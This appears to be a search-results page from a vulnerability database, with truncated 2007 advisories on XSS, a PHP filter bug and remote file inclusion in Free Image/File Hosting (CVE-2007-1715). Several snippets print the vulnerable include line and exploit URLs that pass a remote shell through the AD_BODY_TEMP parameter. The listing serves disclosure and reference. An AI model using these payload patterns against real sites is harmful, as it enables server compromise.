3188 matches found
Unfixed XSS vulnerability at www.alphaomegahosting.com
Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting www.alphaomegahosting.com, which at the time of submission ranked 962622 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...
Unfixed XSS vulnerability at support.vervehosting.com
Security researcher KaBuS, has submitted on 16/04/2007 a cross-site-scripting XSS vulnerability affecting support.vervehosting.com, which at the time of submission ranked 380868 on the web according to Alexa. We manually validated and published a mirror of this vulnerability on 16/04/2007. It is...
PMOPB-45-2007:PHP ext/filter Email Validation Vulnerability
Summary The first Post Month of PHP Bugs vulnerability describes a vulnerability in PHP's new input filtering/validation extension. The FILTERVALIDATEEMAIL filter of ext/filter internally uses a wrong regular expression that allows injecting a newline character at the end of the email string...
Free File Hosting System远程文件包含漏洞
Free File Hosting System是一款基于PHP的WEB应用程序。 Free File Hosting System不正确过滤用户提交的输入，远程攻击者可以利用漏洞以WEB权限执行任意命令。 问题是多个脚本对用户提交的'ADBODYTEMP'参数缺少过滤，指定远程服务器上的文件作为包含参数，可导致以WEB权限执行任意命令。 Free PHP Scripts Free File Hosting 1.1 目前没有解决方案提供： http://www.free-php-scripts.net/...
PHP 5.2.1 - Session.Save_Path() TMPDIR open_basedir Restriction Bypass
PHP 5.2.1 - Session.SavePath TMPDIR openbasedir Restriction Bypass source: https://www.securityfocus.com/bid/23183/info PHP is prone to a 'openbasedir' restriction-bypass vulnerability due to a design error. Successful exploits could allow an attacker to access sensitive information or to write...
CVE-2007-1715
PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ADBODYTEMP parameter. NOTE: the forgotpass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps...
CVE-2007-1715
PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ADBODYTEMP parameter. NOTE: the forgotpass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps...
CVE-2007-1715
The CVE-2007-1715 issue affects Free Image Hosting 2.0 and earlier, with a vulnerability in frontpage.php that allows PHP code execution via a URL in the AD_BODY_TEMP parameter (remote file inclusion). The vulnerability arises from including remote files through user-controlled input, enabling ar...
CVE-2007-1715: Undefined Security Weakness
PHP remote file inclusion vulnerability in frontpage.php in Free Image Hosting 2.0 and earlier allows remote attackers to execute arbitrary PHP code via a URL in the ADBODYTEMP parameter. NOTE: the forgotpass.php vector is already covered by CVE-2006-5670, and the login.php vector overlaps...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
No description provided by source. Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
Exploit for unknown platform in category web applications ==================================================================== Free Image Hosting Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? : www.site.com/imageuploadpath/frontpage.php?ADBODYTEMP=Shell?...
Free Image Hosting <= 2.0 (AD_BODY_TEMP) Remote File Inclusion Vulns
No description provided by source. Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : tddiv align="center"?php include$ADBODYTEMP;?/div/td Exploit :...
Free Image Hosting 2.0 - AD_BODY_TEMP Remote File Inclusion
Free Image Hosting 2.0 - ADBODYTEMP Remote File Inclusion Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Image_Upload Script Remote File Inclusion Exploit Free Image Hosting 2.0
Baslik :ImageUpload Script Remote File Inclusion Exploit Free Image Hosting 2.0 .ndir : http://free-php-scripts.net/scripts/ImageUpload.zip Bulan :CrackersChild Zay.flk : tddiv align="center"?php include$ADBODYTEMP;?/div/td Exploit : www.site.com/imageuploadpath/login.php?ADBODYTEMP=Shell? :...
Free File Hosting System 1.1 - login.php?AD_BODY_TEMP Remote File Inclusion
Free File Hosting System 1.1 - login.php?ADBODYTEMP Remote File Inclusion source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow...
Free File Hosting System 1.1 - contact.php?AD_BODY_TEMP Remote File Inclusion
Free File Hosting System 1.1 - contact.php?ADBODYTEMP Remote File Inclusion source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may all...
Free File Hosting System 1.1 - register.php?AD_BODY_TEMP Remote File Inclusion
Free File Hosting System 1.1 - register.php?ADBODYTEMP Remote File Inclusion source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may...
Free File Hosting System 1.1 - 'contact.php?AD_BODY_TEMP' Remote File Inclusion
source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; othe...
Free File Hosting System 1.1 - 'login.php?AD_BODY_TEMP' Remote File Inclusion
source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; othe...
Free File Hosting System 1.1 - 'register.php?AD_BODY_TEMP' Remote File Inclusion
source: https://www.securityfocus.com/bid/23118/info Free File Hosting is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues may allow an attacker to compromise the application and the underlying system; othe...